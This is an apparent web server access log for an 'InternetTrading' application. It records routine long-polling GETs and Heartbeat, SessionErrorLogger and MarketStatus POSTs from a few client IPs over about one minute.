[09/Jan/2026:14:03:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938900232 HTTP/1.1" -
[09/Jan/2026:14:03:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938901525 HTTP/1.1" -
[09/Jan/2026:14:03:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:03:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:03:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:03:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:03:55 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938911016 HTTP/1.1" -
[09/Jan/2026:14:03:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938921743 HTTP/1.1" -
[09/Jan/2026:14:03:57 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938905313 HTTP/1.1" -
[09/Jan/2026:14:03:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938906671 HTTP/1.1" -
[09/Jan/2026:14:04:00 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938916107 HTTP/1.1" -
[09/Jan/2026:14:04:01 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938926815 HTTP/1.1" -
[09/Jan/2026:14:04:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938910347 HTTP/1.1" -
[09/Jan/2026:14:04:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938911813 HTTP/1.1" -
[09/Jan/2026:14:04:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:04:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:04:05 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938921167 HTTP/1.1" -
[09/Jan/2026:14:04:07 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938931889 HTTP/1.1" -
[09/Jan/2026:14:04:07 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938915484 HTTP/1.1" -
[09/Jan/2026:14:04:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938916943 HTTP/1.1" -
[09/Jan/2026:14:04:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:04:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:04:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:04:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:04:10 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938926252 HTTP/1.1" -
[09/Jan/2026:14:04:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:04:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:04:12 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938937191 HTTP/1.1" -
[09/Jan/2026:14:04:13 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938920554 HTTP/1.1" -
[09/Jan/2026:14:04:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938922012 HTTP/1.1" -
[09/Jan/2026:14:04:15 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938931321 HTTP/1.1" -
[09/Jan/2026:14:04:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938925635 HTTP/1.1" -
[09/Jan/2026:14:04:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938927071 HTTP/1.1" -
[09/Jan/2026:14:04:18 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938943190 HTTP/1.1" -
[09/Jan/2026:14:04:19 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:04:19 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:04:19 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:04:19 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:04:20 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938936414 HTTP/1.1" -
[09/Jan/2026:14:04:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938930694 HTTP/1.1" -
[09/Jan/2026:14:04:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938932226 HTTP/1.1" -
[09/Jan/2026:14:04:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:04:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:04:24 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938949200 HTTP/1.1" -
[09/Jan/2026:14:04:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:04:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:04:26 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938941449 HTTP/1.1" -
[09/Jan/2026:14:04:28 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938935818 HTTP/1.1" -
[09/Jan/2026:14:04:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938937388 HTTP/1.1" -
[09/Jan/2026:14:04:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938955194 HTTP/1.1" -
[09/Jan/2026:14:04:31 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938946783 HTTP/1.1" -
[09/Jan/2026:14:04:33 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938940843 HTTP/1.1" -
[09/Jan/2026:14:04:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938942517 HTTP/1.1" -
[09/Jan/2026:14:04:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:04:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:04:36 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938961190 HTTP/1.1" -
[09/Jan/2026:14:04:36 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938951858 HTTP/1.1" -
[09/Jan/2026:14:04:38 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938945879 HTTP/1.1" -
[09/Jan/2026:14:04:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938947663 HTTP/1.1" -
[09/Jan/2026:14:04:41 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:04:41 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:04:41 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:04:41 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:04:41 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938956951 HTTP/1.1" -
[09/Jan/2026:14:04:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:04:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:04:42 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938967185 HTTP/1.1" -
[09/Jan/2026:14:04:43 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938950950 HTTP/1.1" -
[09/Jan/2026:14:04:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938952766 HTTP/1.1" -
[09/Jan/2026:14:04:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938961977 HTTP/1.1" -
[09/Jan/2026:14:04:47 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938972215 HTTP/1.1" -
[09/Jan/2026:14:04:48 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938956002 HTTP/1.1" -
[09/Jan/2026:14:04:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938957834 HTTP/1.1" -
[09/Jan/2026:14:04:49 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:04:49 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:04:49 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:04:49 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:04:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938967051 HTTP/1.1" -
[09/Jan/2026:14:04:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938977245 HTTP/1.1" -
[09/Jan/2026:14:04:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938961077 HTTP/1.1" -
[09/Jan/2026:14:04:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938962964 HTTP/1.1" -
[09/Jan/2026:14:04:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:04:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:04:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:04:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:04:56 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938972097 HTTP/1.1" -
[09/Jan/2026:14:04:57 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938982308 HTTP/1.1" -
[09/Jan/2026:14:04:58 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938966166 HTTP/1.1" -
[09/Jan/2026:14:04:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938968175 HTTP/1.1" -
[09/Jan/2026:14:05:01 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938977202 HTTP/1.1" -
[09/Jan/2026:14:05:02 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938987342 HTTP/1.1" -
[09/Jan/2026:14:05:03 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938971189 HTTP/1.1" -
[09/Jan/2026:14:05:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938973359 HTTP/1.1" -
